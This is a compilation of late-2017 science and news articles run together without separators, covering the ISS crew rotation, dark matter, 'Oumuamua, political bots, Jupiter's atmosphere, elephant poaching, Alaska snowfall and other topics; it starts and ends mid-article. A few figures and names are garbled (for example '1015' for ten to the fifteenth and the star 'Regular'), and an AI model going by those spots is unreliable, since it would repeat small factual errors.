The space travellers who blasted off from Russia's Baikonur cosmodrome in Kazakhstan in freezing conditions Sunday will now join Russia's Alexander Misurkin and NASA pair Mark Vande Hei and Joe Acaba currently aboard the ISS.

Both Tingle, 52, and Kanai, 40, are in space for the first time but flight commander Shkaplerov, 43, is an experienced hand.

The former Russian military pilot has spent exactly a year in space over two missions and will mark his birthday in orbit for the third time in February next year.

Kanai is the youngest astronaut in the history of the Japanese space agency, and the last of a trio of Japanese astronauts who were certified for travel to the ISS back in 2011.

US Navy captain Tingle is a graduate of Purdue University in Indiana, which also counts space legend Neil Armstrong among its alumni.

While most flights to the ISS now take around six hours, the trio took the more circuitous two-day route due to the lab's position in space at the time of the launch.

Tuesday's docking marks a prompt crew rotation after Sergei Ryazansky of Roscosmos, NASA's Randy Bresnik and European Space Agency astronaut Paolo Nespoli returned to Earth Thursday.

NASA stopped its own manned launches to the ISS in 2011 but recently moved to increase the crew complement on the US section of the ISS to four as the Russians cut theirs to two in a cost-saving measure announced last year.

The ISS laboratory, a rare example of American and Russian cooperation, has been orbiting Earth at about 28,000 kilometres per hour since 1998.

 2017 AFP
Microbiologists in South Korea report this week in mBio that the bacterium Chromobacterium piscinae produces cyanide when under attack from Bdellovibrio bacteriovorus HD100, a microbial predator found in rivers and soils that ingests its prey from the inside out. The researchers found that the prey produced levels of cyanide high enough to inhibit, but not kill, the B. bacteriovorus HD100.

Experiments showed that C. piscinae produced the protective cyanide in a nutrient-rich broth. In a medium devoid of nutrients, it didn't produce the cyanide and was consumed. The researchers suspect that the bacteria likely uses some ingredient in the broth to produce the cyanide. That observation implies that a bacteria's defenses may depend on location - and, more generally, that bacteria may harbor protective mechanisms that are triggered in some environments, but not in others.

Studying such mechanisms may lead scientists to better understand how some pathogenic bacteria protect themselves against antibiotics, says microbiologist and study leader Robert Mitchell. His lab at the Ulsan National Institute of Science and Technology, in South Korea, focuses on understanding how microbial prey protect themselves from predators. They are investigating how bacterial predators like B. bacteriovorus HD100 might be optimized as "living antibiotics" that can target bacterial pathogens.

The study suggests microbes may have means for resisting predation that only show up in certain environs. "Resistance may be present, but we're not finding it because we're not looking in the right conditions," he says. "This study is kind of like a warning. To understand how germs may resist treatment, we need to look at the actual conditions in the host."

The new findings in mBio align with work published earlier this year by Mitchell's group, which identified compounds in human blood that inhibit predation of infectious bacterial strains - like E. coli and Salmonella enterica - by B. bacteriovorus HD100.

When the researchers searched for clues for how C. piscinae resists predation, Mitchell says they didn't expect to find cyanide. Their investigation began when, in earlier experiments, they noticed the bacterium survived attacks in nutrient-rich media. In a nutrient-poor environment, however, the predator ate the prey.

Their first suspect was violacein, a metabolite produced by C. piscinae that is structurally similar to a compound they'd previously linked to predatory inhibition. However, experiments showed it wasn't responsible.

"We had to scour the literature to find anything else we didn't know," Mitchell says.

Ultimately, one of his students identified cyanide as the culprit. The researchers verified that C. piscinae produced large amounts of cyanide when cultured in nutrient-rich broth, and that those cultured in HEPES, a nutrient-poor buffer, didn't. Further experiments confirmed that cyanide does inhibit the B. bacteriovorus HD100. The cyanide didn't poison the C. piscinae. "Some of the data in our study suggests the prey bacteria can degrade it," Mitchell says.

The group now plans to look at how other predatory bacteria respond to cyanide, as well as other factors that can potentially inhibit or negatively impact predatory activity in microbes.
Credit: X-ray: NASA/CXO/Oxford University/J. Conlon et al. Radio: NRAO/AUI/NSF/Univ. of Montreal/Gendron-Marsolais et al. Optical: NASA/ESA/IoA/A. Fabian et al.; DSS

An innovative interpretation of X-ray data from a cluster of galaxies could help scientists fulfill a quest they have been on for decades: determining the nature of dark matter.

The finding involves a new explanation for a set of results made with NASA's Chandra X-ray Observatory, ESA's XMM-Newton and Hitomi, a Japanese-led X-ray telescope. If confirmed with future observations, this may represent a major step forward in understanding the nature of the mysterious, invisible substance that makes up about 85% of matter in the universe.

"We expect that this result will either be hugely important or a total dud," said Joseph Conlon of Oxford University who led the new study. "I don't think there is a halfway point when you are looking for answers to one of the biggest questions in science."

The story of this work started in 2014 when a team of astronomers led by Esra Bulbul (Harvard-Smithsonian Center for Astrophysics in Cambridge, Mass.) found a spike of intensity at a very specific energy in Chandra and XMM-Newton observations of the hot gas in the Perseus galaxy cluster.

This spike, or emission line, is at an energy of 3.5 kiloelectron volts (keV). The intensity of the 3.5 keV emission line is very difficult if not impossible to explain in terms of previously observed or predicted features from astronomical objects, and therefore a dark matter origin was suggested. Bulbul and colleagues also reported the existence of the 3.5 keV line in a study of 73 other galaxy clusters using XMM-Newton.

The plot of this dark matter tale thickened when only a week after Bulbul's team submitted their paper a different group, led by Alexey Boyarsky of Leiden University in the Netherlands, reported evidence for an emission line at 3.5 keV in XMM-Newton observations of the galaxy M31 and the outskirts of the Perseus cluster, confirming the Bulbul et al. result.

However, these two results were controversial, with other astronomers later detecting the 3.5 keV line when observing other objects, and some failing to detect it.

The debate seemed to be resolved in 2016 when Hitomi especially designed to observe detailed features such as line emission in the X-ray spectra of cosmic sources, failed to detect the 3.5 keV line in the Perseus cluster.

"One might think that when Hitomi didn't see the 3.5 keV line that we would have just thrown in the towel for this line of investigation," said co-author Francesca Day, also from Oxford. "On the contrary, this is where, like in any good story, an interesting plot twist occurred."

Conlon and colleagues noted that the Hitomi telescope had much fuzzier images than Chandra, so its data on the Perseus cluster are actually comprised of a mixture of the X-ray signals from two sources: a diffuse component of hot gas enveloping the large galaxy in the center of the cluster and X-ray emission from near the supermassive black hole in this galaxy. The sharper vision of Chandra can separate the contribution from the two regions. Capitalizing on this, Bulbul et al. isolated the X-ray signal from the hot gas by removing point sources from their analysis, including X-rays from material near the supermassive black hole.

In order to test whether this difference mattered, the Oxford team re-analyzed Chandra data from close to the black hole at the center of the Perseus cluster taken in 2009. They found something surprising: evidence for a deficit rather than a surplus of X-rays at 3.5 keV. This suggests that something in Perseus is absorbing X-rays at this exact energy. When the researchers simulated the Hitomi spectrum by adding this absorption line to the hot gas' emission line seen with Chandra and XMM-Newton, they found no evidence in the summed spectrum for either absorption or emission of X-rays at 3.5 keV, consistent with the Hitomi observations.

The challenge is to explain this behavior: detecting absorption of X-ray light when observing the black hole and emission of X-ray light at the same energy when looking at the hot gas at larger angles away from the black hole.

The latest work shows that absorption of X-rays at an energy of 3.5 keV is detected when observing the region surrounding the supermassive black hole at the center of Perseus. This suggests that dark matter particles in the cluster are both absorbing and emitting X-rays. If the new model turns out to be correct, it could provide a path for scientists to one day identify the true nature of dark matter. For next steps, astronomers will need further observations of the Perseus cluster and others like it with current X-ray telescopes and those being planned for the next decade and beyond. Credit: NASA/CXC/M. Weiss

In fact, such behavior is well known to astronomers who study stars and clouds of gas with optical telescopes. Light from a star surrounded by a cloud of gas often shows absorption lines produced when starlight of a specific energy is absorbed by atoms in the gas cloud. The absorption kicks the atoms from a low to a high energy state. The atom quickly drops back to the low energy state with the emission of light of a specific energy, but the light is re-emitted in all directions, producing a net loss of light at the specific energyan absorption linein the observed spectrum of the star. In contrast, an observation of a cloud in a direction away from the star would detect only the re-emitted, or fluorescent light at a specific energy, which would show up as an emission line.

The Oxford team suggests in their report that dark matter particles may be like atoms in having two energy states separated by 3.5 keV. If so, it could be possible to observe an absorption line at 3.5 keV when observing at angles close to the direction of the black hole, and an emission line when looking at the cluster hot gas at large angles away from the black hole.

"This is not a simple picture to paint, but it's possible that we've found a way to both explain the unusual X-ray signals coming from Perseus and uncover a hint about what dark matter actually is," said co-author Nicholas Jennings, also of Oxford.

To write the next chapter of this story, astronomers will need further observations of the Perseus cluster and others like it. For example, more data is needed to confirm the reality of the dip and to exclude a more mundane possibility, namely that we have a combination of an unexpected instrumental effect and a statistically unlikely dip in X-rays at an energy of 3.5 keV. Chandra, XMM-Newton and future X-ray missions will continue to observe clusters to address the dark matter mystery.

A paper describing these results was published in Physical Review D on December 19, 2017 and a preprint is available online.

More information: Consistency of Hitomi, XMM-Newton and Chandra 3.5 keV data from Perseus, arXiv:1608.01684 [astro-ph.HE] arxiv.org/abs/1608.01684 Journal information: Physical Review D
Credit: Mary Ann Liebert, Inc., publishers

The role and risks of bots, such as automated Twitter accounts, in influencing public opinion and political elections continues to provoke intense international debate and controversy. An insightful new collection of articles focused on "Computational Propaganda and Political Big Data" examines how these bots work, approaches to better detect and control them, and how they may have impacted recent elections around the globe. The collection is published in a special issue of Big Data.

Guest Editors Philip N. Howard, PhD and Gillian Bolsover, DPhil, from University of Oxford, U.K. have compiled a compelling series of articles that provide a broad range of perspectives and examples on the use of bots in social and online media to achieve massive dissemination of propaganda and political messages.

In the article entitled "Social Bots: Human-Like by Means of Human Control?," coauthors Christian Grimme, Mike Preuss, Lena Adam, and Heike Trautmann, University of Munster, Germany offer a clear definition of a bot and description of how one works using Twitter as an example. The authors examine the current technical limitations of bots and how the increasing integration of humans and bots can expand their capabilities and control, leading to more meaningful interactions with other humans. This hybridization of humans and bots requires more sophisticated approaches for identifying political propaganda distributed with social bots.

The article "Detecting Bots on Russian Political Twitter," coauthored by Denis Stukal, Sergey Sanovich, Richard Bonneau, and Joshua Tucker from New York University, presents a novel method for detecting bots on Twitter. The authors demonstrate the use of this method, which is based on a set of classifiers, to study bot activity during an important period in Russian politics. They found that on most days, more than half of the tweets posted by accounts tweeting about Russian politics were produced by bots. They also present evidence that a main activity of these bots was spreading news stories and promoting certain media outlets.

Fabian Schafer, Stefan Evert, and Philipp Heinrich, Friedrich-Alexander-Universitat Erlangen-Nurnberg, Germany, evaluated more than 540,000 tweets from before and after Japan's 2014 general election, and present their results on the identification and behavioral analysis of social bots in the article entitled "Japan's 2014 General Election: Political Bots, Right-Wing Internet Activism, and Prime Minister Shinz? Abe's Hidden Nationalist Agenda," The researchers focused on the repeated tweeting of nearly the identical message and present both a case study demonstrating multiple patterns of bot activity and potential methods to allow for automation identification of these patterns. They also provide insights into the purposes behind the use of social and political bots.

"Big Data is proud to present the first collection of academic articles on a subject that is front and center these days," says Big Data Editor-in-Chief Vasant Dhar, Professor at the Stern School of Business and the Center for Data Science at New York University. "While social media platforms have created a wonderful social space for sharing and publishing information, it is becoming clear that they also pose significant risks to societies, especially open democratic ones such as ours, for use as weapons by malicious actors. We need to be mindful of such risks and take action to mitigate them. One of the roles of this special issue is to present evidence and scientific analysis of computational propaganda on social media platforms. I'm very pleased with the set of articles in this special issue."

More information: Christian Grimme et al. Social Bots: Human-Like by Means of Human Control?, Big Data (2017). DOI: 10.1089/big.2017.0044 Denis Stukal et al. Detecting Bots on Russian Political Twitter, Big Data (2017). DOI: 10.1089/big.2017.0038 Fabian Schafer et al. Japan's 2014 General Election: Political Bots, Right-Wing Internet Activism, and Prime Minister Shinzo Abe's Hidden Nationalist Agenda, Big Data (2017). DOI: 10.1089/big.2017.0049
ESO/M. Credit: Kornmesser, CC BY-SA

The fundamental job of astrophysicists and astronauts is to explore the universe, and find what is out there. This year, the universe explored us.

On October 19, the Pan-STARRS 1 survey telescope in Hawaii captured a faint streak of light during its nightly search for asteroids and comets. Astronomer Rob Weryk realised it had a trajectory unlike anything seen before, and follow-up data taken over the next few nights confirmed it had come from outside our solar system. Humanity had identified its first alien visitor from another star.

What exactly is this interstellar object, which has been named 'Oumuamua from the Hawaiian for "the first messenger from afar reaching out to us"? This is a difficult question to answer because it was not clear how 'Oumuamua compares to other bodies that belong to our solar system. Its unusual elongated shape has even prompted some to question whether it might have been created artificially by an alien civilisation.

But my colleagues and I have now discovered that while it appears to be an unusually long rocky asteroid it may actually be an icy body covered in a protective crust of organic chemicals.

We were already pretty certain 'Oumuamua was not artificial. Radio telescopes have been used to listen for signals from 'Oumuamua but not heard anything. Its path through space also suggests that it is only moving because of gravity. So all initial lines of inquiry pointed to it being a natural object.

However, there was still a puzzle. The most likely visitor to our solar system would be a giant lump of ice. As it approached the sun, such an icy body should start to melt and release a tail of gas behind it . Yet, despite coming within 23m miles of our sun, 'Oumuamua showed no sign of this kind of outgassing. Why, instead, did it look like an asteroid?

Our team reacted quickly to the discovery by getting time to use the Very Large Telescope in Chile and the William Herschel Telescope in La Palma within 48 hours. We used these facilities to measure how 'Oumuamua reflects sunlight by looking at the wavelength of the returned light. This powerful technique can reveal the composition of an object and whether it has rocky minerals of ices on its surface.

Oumuamua as it appeared using the William Herschel Telescope on the night of October 29. Credit: Queen's University Belfast/William Herschel Telescope

Our data revealed its surface was red in visible light but appeared more neutral or grey in infra-red light. Previous laboratory experiments have shown this is the kind of reading you'd expect from a surface made of comet ices and dust that had been exposed to interstellar space for millions or billions of years. High-energy particles called cosmic rays dry out the surface by removing the ices. These particles also drive chemical reactions in the remaining material to form a crust of chemically organic (carbon-based) compounds.

So although 'Oumuamua appeared as an asteroid-like point of light in our telescopes, it may be icy in its interior. And its insulating red rock-like surface could be the consequence of its lonely journey between the stars. Indeed, another study using the Gemini North telescope in Hawaii showed its colour is similar to some "trans-Neptunian objects" orbiting in the outskirts of our solar system, whose surfaces may have been similarly transformed.

Where did it come from?

The other big question is where did 'Oumuamua come from? One possibility is that it emerged from a planet-building process. Planets are built from smaller rocky asteroids and icy comets, but this is a messy business. Many trillions of objects would have been thrown into interstellar space as our planets formed and settled down into their current orbits. Additionally, comets have been lost from the Oort Cloud surrounding our solar system, pulled away by passing stars and the tides from the Milky Way galaxy in which we live.

If all stars are as wasteful as our sun in building solar systems, there should be large numbers of interstellar objects out there in our galaxy. But we would only see them if they get close enough to the sun and Earth to be detected with our current generation of telescopes. Earlier this year I was part of a study that showed there could be 1015 (1,000 trillion) such objects per cubic light year.

Several astronomers have found that 'Oumuamua cannot be tracked back to any known star, but it approached from the direction that the sun is moving towards. This is the most probable direction any interstellar object will come from, like clouds of insects hitting a car windscreen as you drive through them.

'Oumuamua has already passed the orbit of Mars and is travelling outward above the asteroid belt. This winter, if you can find the Great Square of Pegasus in the night sky, you can wave farewell to our first interstellar visitor. But combining previous studies with the discovery of 'Oumuamua suggests there should be a similar object somewhere within the orbit of Mars at any time, not yet seen. The universe is closer than we thought.

This article was originally published on The Conversation. Read the original article.
Credit: University of Tsukuba

Japanese researchers have discovered a new species of the enigmatic marine worm Xenoturbella, which they have named Xenoturbella japonica, as reported in a new study published in BMC Evolutionary Biology.

Xenoturbella lacks certain features common among more complex animals, such as a centralized nervous system, kidneys, and an anus (i.e., its digestive system has only one opening). Thus, these primitive worms are important for understanding the origins of these structures. The classification of Xenoturbella in the tree of life has been controversial, but it is generally regarded as a basal member or sister group of the Bilateria, a group that includes most complex animals.

The researchers, centered at the University of Tsukuba, described two specimens of X. japonica dredged from the seafloor of the western Pacific: a female about 5 cm in length, and a juvenile about 1 cm in length. Both specimens are pale orange in color, with an oval-shaped mouth and a glandular network on the ventral (bottom) surface.

MicroCT scanning, a method not previously applied to Xenoturbella, revealed the specimens' internal structures, and a new feature not visible using conventional methods: the frontal pore.

"We also extracted DNA and sequenced the mitochondrial genome and partial Histone H3 gene sequences," co-author Hideyuki Miyazawa explains. "Molecular phylogenetic analysis confirmed that X. japonica is distinct from previously described species of Xenoturbella."

DNA contamination from several species of bivalve was also detected, which indicates that, like other species of Xenoturbella, X. japonica likely feeds on marine bivalves.

"Species within this genus have previously been divided into 'shallow' and 'deep' subgroups, and our results place X. japonica in the 'shallow' subgroup," lead author Hiroaki Nakano says. "Interestingly, X. japonica shares features with both subgroups, however. Thus, features of this species may be ancestral for this genus, and this new species may be particularly important for unraveling the ancestry of Xenoturbella and the early history of the Bilateria."

Research on Xenoturbella has been limited by the inaccessibility of specimens in their seafloor habitats hundreds or thousands of meters below the surface. This new discovery may offer a solution. As co-author Hisanori Kohtsuka explains, "because one habitat where X. japonica was found is easily accessible from a marine station, this new species promises to be valuable for future research on bilaterian and deuterostome evolution."

More information: Hiroaki Nakano et al, A new species of Xenoturbella from the western Pacific Ocean and the evolution of Xenoturbella, BMC Evolutionary Biology (2017). DOI: 10.1186/s12862-017-1080-2 Journal information: BMC Evolutionary Biology
For many years some astronomers, working under the assumption that the Star of Bethlehem was in fact an actual celestial object, have suggested possible astrophysical explanations.

In doing so, they do not only have to find the right kind of object, but also the one which had the significance that made the wise men go and seek the infant Jesus. Two-thousand years ago, astronomy and astrology were one.

In many depictions the Star of Bethlehem looks like a comet. But there are many reasons to doubt that comets led the Magi to Bethlehem. For one, comets do not look like stars, and these people were not stupid. Halley's Comet, the most obvious candidate, appeared in the sky in 12BC, several years before the plausible birth date of Jesus. Finally, comets were seen as harbingers of doom, and this was a joyful event.

Another theory postulates that the Star of Bethlehem was actually a new star on the sky, a nova or a supernova. It was originally Kepler's idea, but sadly we do not have independent records of a bright supernova at this period. That doesn't mean it didn't happened, of course. Today we observe these objects routinely, but at that time people would not have known how to read them.

Perhaps the most plausible explanations for the Star of Bethlehem involve multiple planets, standing close together: a planetary conjunction. Indeed, there are several rare meetings between prominent planets in the right time period.

In 7BC, Jupiter and Saturn met three times. One year later, Jupiter and Saturn were joined by Mars. What followed was a fantastic sequence of conjunctions in 3-2BC: Saturn with Mercury, Saturn with Venus, Venus with Jupiter, and Venus with Mercury.

Then again Jupiter with Venus, this time they got so close to appear as one to the human eye. Around the same time, Jupiter, the planet of the kings, was dancing around the bright star Regular, the star of the kings.

Then Jupiter stopped, in the constellation Virgo, seen from Jerusalem straight above Bethlehem. Here is a spectacle of planets with plenty of astrological significance, happening around the right time  although that last part is still debated.

Maybe we should remove the comet-shaped stars from the Christmas trees and replace them with triple planets.

We will probably never get a definite answer. Maybe this is one of the questions that is not supposed to be answered.
Climate patterns on Jupiter can have striking similarities to those on Earth, making the gas giant a natural laboratory for understanding planetary atmospheres. Credit: NASA SVS/CI, Dan Gallagher

Speeding through the atmosphere high above Jupiter's equator is an east-west jet stream that reverses course on a schedule almost as predictable as a Tokyo train's. Now, a NASA-led team has identified which type of wave forces this jet to change direction.

Similar equatorial jet streams have been identified on Saturn and on Earth, where a rare disruption of the usual wind pattern complicated weather forecasts in early 2016. The new study combines modeling of Jupiter's atmosphere with detailed observations made over the course of five years from NASA's Infrared Telescope Facility, or IRTF, in Hawai'i. The findings could help scientists better understand the dynamic atmosphere of Jupiter and other planets, including those beyond our solar system.

"Jupiter is much bigger than Earth, much farther from the Sun, rotates much faster, and has a very different composition, but it turns out to be an excellent laboratory for understanding this equatorial phenomenon," said Rick Cosentino, a postdoctoral fellow at NASA's Goddard Space Flight Center in Greenbelt, Maryland, and lead author of the paper published in the Journal of Geophysical Research-Planets.

Earth's equatorial jet stream was discovered after observers saw debris from the 1883 eruption of the Krakatoa volcano being carried by a westward wind in the stratosphere, the region of the atmosphere where modern airplanes achieve cruising altitude. Later, weather balloons documented an eastward wind in the stratosphere. Scientists eventually determined that these winds reversed course regularly and that both cases were part of the same phenomenon.

The alternating pattern starts in the lower stratosphere and propagates down to the boundary with the troposphere, or lowest layer of the atmosphere. In its eastward phase, it's associated with warmer temperatures. The westward phase is associated with cooler temperatures. The pattern is called Earth's quasi-biennial oscillation, or QBO, and one cycle lasts about 28 months. The phase of the QBO seems to influence the transport of ozone, water vapor and pollution in the upper atmosphere as well as the production of hurricanes.

When scientists look at Jupiter's upper atmosphere in infrared light, they see the region above the equator heating and cooling over a roughly four-year cycle. They dub this Jovian climate pattern the "quasi-quadrennial oscillation," or QQO, and it has a little sibling on Earth -- a two-year temperature cycle accompanied by a reversal of the equatorial jet stream. Earth's cycle can influence the transport of aerosols and ozone and can affect the formation of hurricanes, making it an active area of climate research. Now, scientists at NASA's Goddard Space Flight Center have developed a new model for understanding Jupiter's QQO, which could lead to a refined understanding of Earth's own climate. Credit: NASA's Goddard Space Flight Center/Scientific Visualization Studio/Dan Gallagher

Jupiter's cycle is called the quasi-quadrennial oscillation, or QQO, and it lasts about four Earth years. Saturn has its own version of the phenomenon, the quasi-periodic oscillation, with a duration of about 15 Earth years. Researchers have a general understanding of these patterns but are still working out how much various types of atmospheric waves contribute to driving the oscillations and how similar the phenomena are to each other.

Previous studies of Jupiter had identified the QQO by measuring temperatures in the stratosphere to infer wind speed and direction. The new set of measurements is the first to span one full cycle of the QQO and covers a much larger area of Jupiter. Observations extended over a large vertical range and spanned latitudes from about 40 degrees north to about 40 degrees south. The team achieved this by mounting a high-resolution instrument called TEXES, short for Texas Echelon Cross Echelle Spectrograph, on the IRTF.

"These measurements were able to probe thin vertical slices of Jupiter's atmosphere," said co-author Amy Simon, a Goddard scientist who specializes in planetary atmospheres. "Previous data sets had lower resolution, so the signals were essentially smeared out over a large section of the atmosphere."

The team found that the equatorial jet extends quite high into Jupiter's stratosphere. Because the measurements covered such a large region, the researchers could eliminate several kinds of atmospheric waves from being major contributors to the QQO, leaving gravity waves as the primary driver. Their model assumes gravity waves are produced by convection in the lower atmosphere and travel up into the stratosphere, where they force the QQO to change direction.

The results of simulations were an excellent match to the new set of observations, indicating that they correctly identified the mechanism. On Earth, gravity waves are considered most likely to be responsible for forcing the QBO to change direction, though they don't appear to be strong enough to do the job alone.

"Through this study we gained a better understanding of the physical mechanisms coupling the lower and upper atmosphere in Jupiter, and thus a better understanding of the atmosphere as a whole," said Raul Morales-Juberias, the second author on the paper and an associate professor at the New Mexico Institute of Mining and Technology in Socorro. "Despite the many differences between Earth and Jupiter, the coupling mechanisms between the lower and upper atmospheres in both planets are similar and have similar effects. Our model could be applied to study the effects of these mechanisms in other planets of the solar system and in exoplanets."
Communal tension has built up in districts of Rajasamand and Bhilwara that border each other after a section of Hindus installed idols after encroaching land and trespassing forcing the administration to remove these.

By Rohit Parihar: Communal tension has built up in districts of Rajasamand and Bhilwara that border each other after a section of Hindus installed idols after encroaching land and trespassing forcing the administration to remove these.

Police resorted to use of force as retreating mob turned violent and indulged in arson and stone pelting at some places.

In Rajsamand, where Shambhu Raiger made a live video of brutal murder and burning of an innocent Muslim recently, some Hindus constructed a platform and installed the idol of deity Hanuman on a grazing land owned by the government a few days ago.

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The administration had warned them to remove it but when they declined, police forcibly seized the idol and removed the platform.

A mob of three thousand gathered which demanded that they be allowed to build a temple but authorities said they must seek permission for it and go ahead only after they were allotted the land and given a go-ahead legally.

The shopkeepers in Rajsamand pulled down the shutters as mob began pelting stones and set on fire a car.

Later, police staged a flag march after dispersing the crowd.

In Sangarya in Shahpura block of Bhilwara, some Hindus placed the idol of Ganesha on the night of December 17 after building a platform on a private land of a Muslim.

Representatives of Muslims said that the land was being used as Madarsa whereas Hindus claimed that it Muslims were planning to build a mosque.

Police said prima facie, it appeared a case of some powerful persons trying to get hold of the land.

Police used force to seize the idol and remove the platform.

The situation was in control and arrests have been made at both places.

Param Navdeep, ex MLA and former spokesperson of Congress has condemned both incidents and accused government of encouraging communal disharmony.

"It is a surprise how easily some communal minded people are allowed to disturb a peaceful state to pursue hidden communal agenda of the ruling BJP," she said in a strongly worded statement.

She said it was a clear conspiracy to keep creating one after another such incident and criticised failure of the police and government to take preventive measures.

"It is clear that BJP is frustrated over a tough fight that Congress gave to it in Gujarat under leadership of Rahul Gandhi and fearing a defeat in Rajasthan, is trying to use communal, violent Gujarat model of polarisation," she said.

--- ENDS ---
Poaching leads to an increase in elephants without tusks, a genetic trait more common in females than males. Credit: University of York

Scientists analysing data from aerial surveys carried out over one of East Africa's most important nature reserves have uncovered clusters of elephant carcasses close to some ranger posts.

The team, from the University of York and the Tanzania Wildlife Research Institute (TAWIRI), made the discovery while working together to address the problem of elephant poaching in the Ruaha-Rungwa ecosystem.

The study used data from three successive aerial surveys during the peak of the poaching crisis from 2013-2015 and revealed patterns of elephant carcasses across the region.

Wet season

Using aerial surveys and spatial analysis, the team revealed the poachers preferred to operate in the wet season  when swollen rivers meant travel by road was extremely difficult and tourism was minimal.

The study, which involved collaboration between the University of York and TAWIRI, also revealed the signs of poaching tended to be away from the main, well-equipped ranger posts, where the aerial surveys revealed fewer carcasses.

However, the data revealed elephant remains were found in greater numbers than expected close to three out of 13 outlying ranger posts. If carcasses had been as rare around outlying posts as near the park headquarters, overall there would have been seven per cent fewer carcasses.

Lead author, Dr Colin Beale from the University of York's Department of Biology, said a lot has changed since the surveys were done and the Tanzania government was working hard to address the problem, with evidence that poaching has since fallen substantially.

Dr Beale said: "Since the Environmental Investigations Agency produced a key report in 2014, there has been concern about past collusion between rangers and poachers. Our study substantiates those concerns and puts them within the wider context of extremely heavy poaching at the time.

"We assumed most carcasses were poached and expected the poachers to avoid ranger posts but instead we found avoidance patterns were very variable from post to post".

"When we looked at individual ranger posts, we found some posts including the national park headquarters showed a strong effect on reducing poaching, but three of 13 outlying posts were associated with clusters of elephant carcasses within a radius of 10 kilometres."

Decline

In 2009, Tanzania's elephant population within the Ruaha-Rungwa ecosystem was the third largest in Africa, holding nearly 10 per cent of the global population.

However, elephant poaching has driven a recent decline in African elephants, fuelled by demand for ivory products in China.

The surveys revealed the Ruaha-Rungwa elephant population declined from 34,500 to 20,000 between 2009 and 2013, with a further decline to 15,800 by 2015.

"Findings from this study that associate elephant carcases with a few ranger posts are worrying. It suggests there may have been some collusion which could have occurred at any number of levels, added Dr Beale.

"However, if this occurred, we think the number of people involved was small and it is important to remember these results are from five years ago, since when there has been huge progress.

"TAWIRI scientists worked with me to analyse the data. It is transparency of a form that is encouraged. They have looked at the data, made the same inferences and have already taken action."

The findings are published in Biological Conservation.
Time series shows the dramatic doubling of snowfall around North America's highest peaks since the beginning of the Industrial Age. Inset shows summer (red) and winter (blue) snowfall since 1870. Credit: Figure provided by Dominic Winski.

December 19, 2017 - Snowfall on a major summit in North America's highest mountain range has more than doubled since the beginning of the Industrial Age, according to a study from Dartmouth College, the University of Maine, and the University of New Hampshire.

The research not only finds a dramatic increase in snowfall, it further explains connections in the global climate system by attributing the record accumulation to warmer waters thousands of miles away in the tropical Pacific and Indian Oceans.

The research demonstrates that modern snowfall in the iconic Alaska Range is unprecedented for at least the past 1200 years and far exceeds normal variability.

"We were shocked when we first saw how much snowfall has increased," said Erich Osterberg, an assistant professor of earth sciences at Dartmouth College and principal investigator for the research. "We had to check and double-check our results to make sure of the findings. Dramatic increases in temperature and air pollution in modern times have been well established in science, but now we're also seeing dramatic increases in regional precipitation with climate change."

According to the research, wintertime snowfall has increased 117 percent since the mid-19th century in southcentral Alaska in the United States. Summer snows also showed a significant increase of 49 percent in the short period ranging less than two hundred years.

The research, appearing in Scientific Reports, is based on analysis of two ice cores collected at 13,000 feet from Mount Hunter in Denali National Park. According to the authors, accumulation records in the separate samples taken from just below the summit of the mountain known as "Denali's Child" are in nearly complete agreement.

"It is now glaringly clear from our ice core record that modern snowfall rates in Alaska are much higher than natural rates before the Industrial Revolution," said Dominic Winski, a research assistant at Dartmouth and the lead author of the report. "This increase in precipitation is also apparent in weather station data from the past 50 years, but ice cores show the scale of the change well above natural conditions."

Once the researchers established snowfall rates, they set out to identify why precipitation has increased so rapidly in such a short amount of time. Scientific models predict as much as a 2 percent increase in global precipitation per degree of warming because warmer air holds more moisture, but this could not account for most of the dramatic increases in Denali snowfall over the studied period.

The research suggests that warming tropical oceans have caused a strengthening of the Aleutian Low pressure system with its northward flow of warm, moist air, driving most of the snowfall increases. Previous research has linked the warming tropical ocean temperatures to higher greenhouse gas concentrations.

The analysis includes a series of dramatic graphs that demonstrate extreme shifts in precipitation and reinforce the global climate connections that link snowfall in the high reaches of the North American continent with warm tropical waters. As noted in the paper, this same atmospheric connection accounts for a decrease in Hawaiian precipitation.

"Everywhere we look in the North Pacific, we're seeing this same fingerprint from warming tropical oceans. One result is that wintertime climate in the North Pacific is very different than it was 200 years ago. This doesn't just affect Alaska, but Hawaii and the entire Pacific Northwest are impacted as well," said Winski.

The research builds on a recent study using the same ice cores that showed that an intensification of winter storm activity in Alaska and Northwestern Canada, driven by the strengthening Aleutian Low, started in 1740 and is unprecedented in magnitude and duration over the past millennium. The new record shows the result of that increase in Aleutian Low storm activity on snow accumulation.

For this analysis, researchers were able to segment the ice core records by seasons and years using markers like magnesium from spring dust to separate winter snow from summer snow. To account for snow layers getting squeezed and thinned under their own weight, the researchers applied four separate equations used in other studies, and in all cases the corrected record shows at least a doubling of snowfall.

According to the paper, while numerous snow accumulation records exist, "to our knowledge, no other alpine ice core accumulation record has been developed with such a thorough characterization of the thinning regime or uncertainties; all of the thinning models produce a robust increase in accumulation since the mid-19th century above late-Holocene background values."

The researchers note that the findings imply that regions that are sensitive to warming tropical ocean waters may continue to experience rain and snowfall variability well outside the natural range of the past millennium.

"Climate change can impact specific regions in much more extreme ways than global averages indicate because of unexpected responses from features like the Aleutian Low," said Osterberg. "The Mount Hunter record captures the dramatic changes that can occur when you get a double whammy from climate change - warming air combined with more storms from warming ocean temperatures."

However, the researchers also note that the regional findings do not necessarily mean that the same level of snowfall increases will occur elsewhere throughout the mid- and high latitudes.

"Scientists keep discovering that on a regional basis, climate change is full of surprises. We need to understand these changes better to help communities prepare for what will come with even more carbon dioxide pollution in the air," said Osterberg.

As part of the analysis, the authors suggest that current climate models underestimate the sensitivity of North Pacific atmospheric connections to warming tropical ocean temperatures. They argue that refining the way the modeled atmosphere responds to tropical ocean temperatures may improve rain and snowfall predictions in a warming world.

More information: Dominic Winski et al, Industrial-age doubling of snow accumulation in the Alaska Range linked to tropical ocean warming, Scientific Reports (2017). DOI: 10.1038/s41598-017-18022-5 Journal information: Scientific Reports
Michael Knoblauch (right) and son, Jan, are co-authors on a study that has answered a multidecade debate about how sugars are transported in trees. Credit: Noel Michele Holbrook

Scientists have long assumed that the sugars that nourish trees are pushed by water pressure from the leaves where they are created to the stems and roots where they are needed.

But how do taller trees accomplish that task, given the longer distances the nutrients must travel and the greater force that seems needed to transport them?

A nine-member team of scientists, mostly from Harvard, discovered an answer with a recent study whose findings could also help end a longstanding debate over the dynamics involved in sugar transport in trees. The study, whose results are detailed in the Dec. 4 issue of the journal Nature Plants, determined that the hydraulic resistance to moving sugar-rich sap downward from the leaves does not increase with the height of the tree as much as would be expected, because of physical features in the transport system.

